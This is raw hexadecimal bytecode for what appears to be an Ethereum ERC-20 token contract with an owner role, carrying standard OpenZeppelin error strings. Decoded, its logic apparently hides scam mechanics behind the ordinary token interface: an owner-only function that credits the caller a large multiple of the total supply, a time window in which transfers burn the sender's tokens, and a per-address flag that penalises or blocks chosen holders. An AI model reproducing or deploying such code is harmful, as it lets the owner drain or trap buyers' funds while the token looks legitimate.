019150509392505050565b5f6012905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f806105b26109a6565b90506105d38185856105c48589610824565b6105ce919061149e565b6109ad565b600191505092915050565b6105e6610928565b601e426105f3919061149e565b600481905550565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610649610928565b6106525f61106a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610683610928565b5f61068c610517565b9050620124f88161069d91906114d1565b60055f6106a86109a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106ef919061149e565b9250508190555050565b60606003805461070890611441565b80601f016020809104026020016040519081016040528092919081815260200182805461073490611441565b801561077f5780601f106107565761010080835404028352916020019161077f565b820191905f5260205f20905b81548152906001019060200180831161076257829003601f168201915b5050505050905090565b5f806107936109a6565b90505f6107a08286610824565b9050838110156107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc90611582565b60405180910390fd5b6107fb828686846107f691906115a0565b6109ad565b60019250505092915050565b5f61081a6108136109a6565b8484610c04565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6108ae610928565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390611643565b60405180910390fd5b6109258161106a565b50565b6109306109a6565b73ffffffffffffffffffffffffffffffffffffffff1661094e610654565b73ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b906116ab565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1290611739565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a80906117c7565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b639190611311565b60405180910390a3505050565b5f610b7b8484610824565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bfe5781811015610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde9061182f565b60405180910390fd5b610bfd84848484610bf891906115a0565b6109ad565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c69906118bd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd79061194b565b60405180910390fd5b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5b906119d9565b60405180910390fd5b6004544211610e7a578160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610db691906115a0565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f828254610e0891906115a0565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6c9190611311565b60405180910390a350611065565b6001151560075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610eea57601781610edc91906114d1565b82610ee791906115a0565b91505b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f3391906115a0565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fbd919061149e565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161105b9190611311565b60405180910390a3505b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111588261112f565b9050919050565b6111688161114e565b8114611172575f80fd5b50565b5f813590506111838161115f565b92915050565b5f6020828403121561119e5761119d61112b565b5b5f6111ab84828501611175565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156111eb5780820151818401526020810190506111d0565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611210826111b4565b61121a81856111be565b935061122a8185602086016111ce565b611233816111f6565b840191505092915050565b5f6020820190508181035f8301526112568184611206565b905092915050565b5f819050919050565b6112708161125e565b811461127a575f80fd5b50565b5f8135905061128b81611267565b92915050565b5f80604083850312156112a7576112a661112b565b5b5f6112b485828601611175565b92505060206112c58582860161127d565b9150509250929050565b5f8115159050919050565b6112e3816112cf565b82525050565b5f6020820190506112fc5f8301846112da565b92915050565b61130b8161125e565b82525050565b5f6020820190506113245f830184611302565b92915050565b5f805f606084860312156113415761134061112b565b5b5f61134e86828701611175565b935050602061135f86828701611175565b92505060406113708682870161127d565b9150509250925092565b5f60ff82169050919050565b61138f8161137a565b82525050565b5f6020820190506113a85f830184611386565b92915050565b6113b78161114e565b82525050565b5f6020820190506113d05f8301846113ae565b92915050565b5f80604083850312156113ec576113eb61112b565b5b5f6113f985828601611175565b925050602061140a85828601611175565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061145857607f821691505b60208210810361146b5761146a611414565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6114a88261125e565b91506114b38361125e565b92508282019050808211156114cb576114ca611471565b5b92915050565b5f6114db8261125e565b91506114e68361125e565b92508282026114f48161125e565b9150828204841483151761150b5761150a611471565b5b5092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f61156c6025836111be565b915061157782611512565b604082019050919050565b5f6020820190508181035f83015261159981611560565b9050919050565b5f6115aa8261125e565b91506115b58361125e565b92508282039050818111156115cd576115cc611471565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61162d6026836111be565b9150611638826115d3565b604082019050919050565b5f6020820190508181035f83015261165a81611621565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6116956020836111be565b91506116a082611661565b602082019050919050565b5f6020820190508181035f8301526116c281611689565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117236024836111be565b915061172e826116c9565b604082019050919050565b5f6020820190508181035f83015261175081611717565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117b16022836111be565b91506117bc82611757565b604082019050919050565b5f6020820190508181035f8301526117de816117a5565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611819601d836111be565b9150611824826117e5565b602082019050919050565b5f6020820190508181035f8301526118468161180d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6118a76025836111be565b91506118b28261184d565b604082019050919050565b5f6020820190508181035f8301526118d48161189b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119356023836111be565b9150611940826118db565b604082019050919050565b5f6020820190508181035f83015261196281611929565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6119c36026836111be565b91506119ce82611969565b604082019050919050565b5f6020820190508181035f8301526119f0816119b7565b905091905056fea264697066735822122066589f785567ecc621987951e795912b7fc9ac1a0d6822ad23873762d4c44c1064736f6c63430008150033